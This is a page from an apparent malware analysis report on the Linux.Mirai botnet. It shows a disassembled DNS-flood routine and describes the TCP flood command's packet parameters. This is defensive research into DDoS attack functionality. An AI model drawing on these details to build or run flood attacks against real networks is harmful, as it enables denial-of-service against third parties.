Investigation of Linux.Mirai Trojan family

35
35
.text:0804A50F xor ecx, ecx
.text:0804A511 mov eax, 1
.text:0804A516 jmp short check_char_in_query
.text:0804A518 ;
-------------------------------------------------------------------------
--
; CODE XREF: cm-
.text:0804A518 not_dot:
d2_dns_flood+29Dj
.text:0804A518 inc ecx ; parsing query
.text:0804A519
; CODE XREF: cm-
.text:0804A519 not_very_efficient_loop:
d2_dns_flood+2A6j
.text:0804A519 inc eax
.text:0804A51A cmp eax, [esp+6Ch+random_data_length]
.text:0804A51E jz loc_804A6E9
.text:0804A524
; CODE XREF: cm-
.text:0804A524 check_char_in_query:
d2_dns_flood+286j
.text:0804A524 mov esi, [esp+6Ch+domain_query]
.text:0804A528 cmp byte ptr [eax+esi-1], '.'
.text:0804A52D jnz short not_dot ; parsing query
.text:0804A52F mov [edx], cl
.text:0804A531 lea edx, [ebx+eax]
.text:0804A534 xor ecx, ecx
.text:0804A536 jmp short not_very_efficient_loop
A name of a requested host is generated by setting a length of a generated prefix in the field 0, to which
a string, transmitted in the parameter with id = 8, is added.
cmd3 – TCP flood 2 options
The command is responsible for sending TCP packets to specified targets. It also allows values to be specified
for TCP flags using these parameters:
TOS = getNumberOrDefault(params_count, params, 2, 0);
ident = getNumberOrDefault(params_count, params, 3, 0xFFFF);
TTL = getNumberOrDefault(params_count, params, 4, 64);
frag = getNumberOrDefault(params_count, params, 5, 1);
sport = getNumberOrDefault(params_count, params, 6, 0xFFFF);
dport = getNumberOrDefault(params_count, params, 7, 0xFFFF);
seq = getNumberOrDefault(params_count, params, 17, 0xFFFF);